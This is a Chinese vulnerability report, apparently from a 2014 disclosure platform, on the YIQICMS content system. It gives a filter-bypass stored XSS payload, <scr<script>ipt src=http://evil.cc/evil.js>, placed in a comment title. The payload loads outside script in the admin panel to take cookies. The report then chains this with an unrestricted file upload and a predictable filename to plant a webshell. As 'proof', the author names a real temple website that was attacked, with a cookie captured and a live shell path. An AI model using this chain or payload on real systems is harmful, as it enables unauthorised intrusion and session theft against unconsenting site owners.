漏洞概要
关注数(24)
关注此漏洞
漏洞标题:某开源CMS绕过过滤XSS盲打+getshell(伟哥,少林寺官网中枪)
提交时间:2014-09-23 08:42
修复时间:2014-12-22 08:44
公开时间:2014-12-22 08:44
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
无
漏洞详情
披露状态:
2014-09-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-22: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
好久没前台过了。。。。
Powered by YIQICMS
“百度为您找到相关结果约17200个”
伟哥官网中枪
详细说明:
最新版1.8,首先关注/comment.php:
我们看到了safecheck函数,但是明显只对content进行了调用,于是留言的标题变成了一处xss.
但是30个字符限制确是鸡肋,于是我们关注safecheck函数。
/include/common.func.php
看到这里想必大家都懂了
天啊噜这不是常出现的<scr<script>ipt>绕过吗
于是构造<scr<script>ipt src=http://evil.cc/evil.js></scr<script>ipt>
在数据被取出时并未进行转义操作
/admin/comments.php
于是后台的景象
恶意js被加载
至此便是盲打后台,接下来是getshell
很幸运地找到了一处可以上传东西的地方
接下来看admin/product-add.php
并没有进行类型限制,看到$filename = date("ymdhis");可以直接抓下包,文件名就是ymdhis。
如果嫌麻烦,还可以回到前台,直接得到shell地址
getshell
当然,因为此处未作CSRF限制,所以可以直接XSRF getshell.
漏洞证明:
拿来实验的少林寺官网
cookie
shell
http://www.shaolinsiyuan.com/include/Smarty/libs/plugins/function.config.php
修复方案:
漏洞回应